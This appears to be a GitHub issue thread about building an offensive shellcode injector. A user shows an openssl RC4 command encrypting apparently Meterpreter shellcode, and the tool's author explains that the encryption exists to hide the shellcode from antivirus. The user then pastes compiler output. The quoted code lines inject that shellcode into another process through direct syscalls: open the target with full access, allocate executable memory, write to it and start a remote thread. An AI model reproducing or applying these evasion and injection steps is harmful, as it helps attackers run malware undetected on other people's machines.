Issue in Key

[Testcase4]

Getting below warning
cat meter.bin | openssl enc -rc4 -nosalt -k "HideMyShellzPlz?" > encmeter.bin
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

[bats3c]

We aren't looking for super strong encryption we just what to hide the shellcode from the AV. This is just a warning shown, the shellcode is still being encrypted.

[Testcase4]

x86_64-w64-mingw32-gcc main.c -o defensiveinjector.exe -L./ -lsyscalls

main.c: In function ‘DecryptShellcode’:
main.c:979:43: warning: passing argument 2 of ‘fnCryptDecrypt’ makes integer from pointer without a cast [-Wint-conversion]
979 | bSuccess = fnCryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE*)encmeter_bin, &encmeter_bin_len);
| ^~~~
| |
| void *
main.c:979:43: note: expected ‘HCRYPTHASH’ {aka ‘long long unsigned int’} but argument is of type ‘void ’
main.c:979:80: warning: passing argument 6 of ‘fnCryptDecrypt’ from incompatible pointer type [-Wincompatible-pointer-types]
979 | bSuccess = fnCryptDecrypt(hCryptoKey, NULL, FALSE, 0, (BYTE)encmeter_bin, &encmeter_bin_len);
| ^~~~~~~~~~~~~~~~~
| |
| unsigned int *
main.c:979:80: note: expected ‘DWORD *’ {aka ‘long unsigned int *’} but argument is of type ‘unsigned int *’
main.c: In function ‘main’:
main.c:1067:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
1067 | uPid.UniqueProcess = (HANDLE)dwPid;
| ^
main.c:1072:5: warning: implicit declaration of function ‘NtOpenProcess’; did you mean ‘OpenProcess’? [-Wimplicit-function-declaration]
1072 | NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid);
| ^~~~~~~~~~~~~
| OpenProcess
main.c:1075:5: warning: implicit declaration of function ‘NtAllocateVirtualMemory’ [-Wimplicit-function-declaration]
1075 | NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &encmeter_bin_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
| ^~~~~~~~~~~~~~~~~~~~~~~
main.c:1078:5: warning: implicit declaration of function ‘NtWriteVirtualMemory’ [-Wimplicit-function-declaration]
1078 | NtWriteVirtualMemory(hProcess, lpBuffer, encmeter_bin, encmeter_bin_len, NULL);
| ^~~~~~~~~~~~~~~~~~~~
main.c:1081:5: warning: implicit declaration of function ‘NtCreateThreadEx’; did you mean ‘CreateThread’? [-Wimplicit-function-declaration]
1081 | NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, NULL, NULL, NULL, NULL);
| ^~~~~~~~~~~~~~~~
| CreateThread